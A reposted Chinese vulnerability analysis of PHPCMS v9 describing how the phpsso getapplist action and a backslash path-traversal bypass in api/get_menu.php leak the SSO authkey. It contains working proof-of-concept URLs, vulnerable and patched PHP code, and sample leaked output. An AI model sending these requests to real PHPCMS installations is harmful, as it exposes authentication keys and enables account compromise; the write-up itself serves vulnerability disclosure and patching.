码迷,mamicode.com
首页 > Windows程序 > 详细

PHPCMS \phpsso_server\phpcms\modules\phpsso\index.php、\api\get_menu.php Authkey Leakage

时间:2015-07-06 21:26:25      阅读:156      评论:0      收藏:0      [点我收藏+]

标签:

catalog

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

 

1. 漏洞描述

安装phpcms的时候会强制安装它的通行证

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2014-066394


2. 漏洞触发条件

0x1: POC1

1. 访问头像上传页面
http://localhost/phpcms_v9/index.php?m=member&c=index&a=account_manage_avatar&t=1
//获取‘upurl‘:"aHR0cDovL2xvY2FsaG9zdC9waHBjbXNfdjkvcGhwc3NvX3NlcnZlci9pbmRleC5waHA/bT1waHBzc28mYz1pbmRleCZhPXVwbG9hZGF2YXRhciZhdXRoX2RhdGE9dj0xJmFwcGlkPTEmZGF0YT1iOTVmNzJ2TUI1aHJGLVN0WXBhVWdSZkpDdVBxWjVOVGhLN3FSTE5jX3lOdEpTQmplZ3JLZVJIdXI1Rm94c0tKaDM3bGpsVDcyVjJ2dEdUZzREUW1aQQ==&callback=return_avatar&"
                   
2. Base64解码后
http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA
//将url里的uploadavatar换成:getapplist
http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA

3. 得到authkey

0x2: POC Bypass Path 1

http://localhost/phpcms_v9/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin


3. 漏洞影响范围
4. 漏洞代码分析

\phpsso_server\phpcms\modules\phpsso\index.php

/**
* 获取应用列表
*/
public function getapplist() 
{
    $applist = getcache(applist, admin);
    exit(serialize($applist));
}

这个函数从cache中获取applist信息,继续追溯cache里的内容
\phpsso_server\caches\caches_admin\caches_data\applist.cache.php

<?php
return array (
  1 => 
  array (
    appid => 1,
    type => phpcms_v9,
    name => phpcms v9,
    url => http://localhost/phpcms_v9/,
    authkey => lOmYTRe7Ze6iDOKmKfay42foD0TaWxv0,
    ip => ‘‘,
    apifilename => api.php?op=phpsso,
    charset => utf-8,
    synlogin => 1,
  ),
);
?>

所以只要我们调用phpsso并且能走到getapplist()这个方法里,就会突出sso配置的客户端的所有信息,包括authkey,我们继续回溯分析漏洞源头
\phpsso_server\phpcms\modules\phpsso\classes\phpsso.class.php

    public function __construct() 
    {
        $this->db = pc_base::load_model(member_model);
        pc_base::load_app_func(global);
        
        /*获取系统配置*/
        $this->settings = getcache(settings, admin);
        $this->applist = getcache(applist, admin);

        //GET数据全部传递给POST
        if(isset($_GET) && is_array($_GET) && count($_GET) > 0) 
        {
            foreach($_GET as $k=>$v) 
            {
                if(!in_array($k, array(m,c,a))) 
                {
                    $_POST[$k] = $v;
                }
            }
        }

        if(isset($_POST[appid])) 
        {
            $this->appid = intval($_POST[appid]);
        } 
        else 
        {
            exit(0);
        }

        if(isset($_POST[data])) 
        {
            //将getapplist()结果赋值给$_POST[‘data‘]
            parse_str(sys_auth($_POST[data], DECODE, $this->applist[$this->appid][authkey]), $this->data);
                    
            if(empty($this->data) || !is_array($this->data)) {
                exit(0);
            }
        } else {
            exit(0);
        }

接下里的问题是我们要如何获取$_POST[‘data‘],继续回溯到上传头像页面

http://localhost/phpcms_v9/index.php?m=member&c=index&a=account_manage_avatar&t=1
//查看源代码
script type="text/javascript">
                    var flashvars = {
                        upurl:"aHR0cDovL2xvY2FsaG9zdC9waHBjbXNfdjkvcGhwc3NvX3NlcnZlci9pbmRleC5waHA/bT1waHBzc28mYz1pbmRleCZhPXVwbG9hZGF2YXRhciZhdXRoX2RhdGE9dj0xJmFwcGlkPTEmZGF0YT1iOTVmNzJ2TUI1aHJGLVN0WXBhVWdSZkpDdVBxWjVOVGhLN3FSTE5jX3lOdEpTQmplZ3JLZVJIdXI1Rm94c0tKaDM3bGpsVDcyVjJ2dEdUZzREUW1aQQ==&callback=return_avatar&"
                    }; 
                    var params = {
                        align:middle,
                        play:true,
                        loop:false,
                        scale:showall,
                        wmode:window,
                        devicefont:true,
                        id:Main,
                        bgcolor:#ffffff,
                        name:Main,
                        allowscriptaccess:always
                    }; 
                    var attributes = {

得到base64编码后的URL

aHR0cDovL2xvY2FsaG9zdC9waHBjbXNfdjkvcGhwc3NvX3NlcnZlci9pbmRleC5waHA/bT1waHBzc28mYz1pbmRleCZhPXVwbG9hZGF2YXRhciZhdXRoX2RhdGE9dj0xJmFwcGlkPTEmZGF0YT1iOTVmNzJ2TUI1aHJGLVN0WXBhVWdSZkpDdVBxWjVOVGhLN3FSTE5jX3lOdEpTQmplZ3JLZVJIdXI1Rm94c0tKaDM3bGpsVDcyVjJ2dEdUZzREUW1aQQ==
/*
http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA
*/

将url里的uploadavatar换成:getapplist

http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA

得到结果

a:1:{i:1;a:9:{s:5:"appid";s:1:"1";s:4:"type";s:9:"phpcms_v9";s:4:"name";s:9:"phpcms v9";s:3:"url";s:27:"http://localhost/phpcms_v9/";s:7:"authkey";s:32:"lOmYTRe7Ze6iDOKmKfay42foD0TaWxv0";s:2:"ip";s:0:"";s:11:"apifilename";s:17:"api.php?op=phpsso";s:7:"charset";s:5:"utf-8";s:8:"synlogin";s:1:"1";}}
/*
authkey: lOmYTRe7Ze6iDOKmKfay42foD0TaWxv0
*/

得到这个authkey,就可以获得了sso体系中的令牌,厂商对index.php中的getapplist()函数进行了patch,unset了数组中的authkey键值,但是却没有充分考虑到全部的攻击面
\api\get_menu.php

/**
 * 获取地区列表
 */
function ajax_getlist() {

    $cachefile = $_GET[cachefile];
    $cachefile = str_replace(array(/, //), ‘‘, $cachefile);
    //$cachefile = preg_replace(‘/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S‘, ‘‘, $cachefile);
    $path = $_GET[path];
    $path = str_replace(array(/, //), ‘‘, $path);
    //$path = preg_replace(‘/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S‘, ‘‘, $path);
    $title = $_GET[title];
    $key = $_GET[key];
    //getcache的两个参量是可控的。并且没有过滤反斜杠。构造合适的访问链接可以访问到cache文件夹中的配置文件,并读取内容
    $infos = getcache($cachefile,$path);
    $where_id = intval($_GET[parentid]);
    $parent_menu_name = ($where_id==0) ? ‘‘ : trim($infos[$where_id][$key]);
    foreach($infos AS $k=>$v) 
    {
        if($v[parentid] == $where_id) 
        {
            if ($v[parentid]) $parentid = $infos[$v[parentid]][parentid];
            $s[]=iconv(CHARSET,utf-8,$v[catid].,.trim($v[$key]).,.$v[parentid].,.$parent_menu_name.,.$parentid);
        }
    }
    if(count($s)>0) 
    {
        $jsonstr = json_encode($s);
        echo trim_script($_GET[callback]).(,$jsonstr,);
        exit;            
    } 
    else 
    {
        echo trim_script($_GET[callback]).();exit;            
    }
}

Relevant Link:

http://0cx.cc/phpcms_phpsso_auth_key.jspx
http://0day5.com/archives/3251


5. 防御方法

\phpsso_server\phpcms\modules\phpsso\index.php

/**
 * 获取应用列表
 */
public function getapplist()
{
    $applist = getcache(applist, admin);
    /**/
    foreach($applist as $key=>$value)
    {
        unset($applist[$key][authkey]);
    }
    /**/
    exit(serialize($applist));
}

\api\get_menu.php

/**
 * 获取地区列表
 */
function ajax_getlist() {

    $cachefile = $_GET[cachefile];
    //$cachefile = str_replace(array(‘/‘, ‘//‘), ‘‘, $cachefile);
    /**/
    $cachefile = str_replace(array(/, //, \\), ‘‘, $cachefile);
    /**/
    //$cachefile = preg_replace(‘/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S‘, ‘‘, $cachefile);
    $path = $_GET[path];
    $path = str_replace(array(/, //), ‘‘, $path);
    //$path = preg_replace(‘/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S‘, ‘‘, $path);
    $title = $_GET[title];
    $key = $_GET[key];
    //getcache的两个参量是可控的。并且没有过滤反斜杠。构造合适的访问链接可以访问到cache文件夹中的配置文件,并读取内容
    $infos = getcache($cachefile,$path);
    $where_id = intval($_GET[parentid]);
    $parent_menu_name = ($where_id==0) ? ‘‘ : trim($infos[$where_id][$key]);
    foreach($infos AS $k=>$v) 
    {
        if($v[parentid] == $where_id) 
        {
            if ($v[parentid]) $parentid = $infos[$v[parentid]][parentid];
            $s[]=iconv(CHARSET,utf-8,$v[catid].,.trim($v[$key]).,.$v[parentid].,.$parent_menu_name.,.$parentid);
        }
    }
    if(count($s)>0) 
    {
        $jsonstr = json_encode($s);
        echo trim_script($_GET[callback]).(,$jsonstr,);
        exit;            
    } 
    else 
    {
        echo trim_script($_GET[callback]).();exit;            
    }
}

Relevant Link:

http://0day5.com/archives/3202
http://www.wooyun.org/bugs/wooyun-2015-0105242

 

6. 攻防思考

Copyright (c) 2015 Little5ann All rights reserved

 

PHPCMS \phpsso_server\phpcms\modules\phpsso\index.php、\api\get_menu.php Authkey Leakage

标签:

原文地址:http://www.cnblogs.com/LittleHann/p/4624198.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!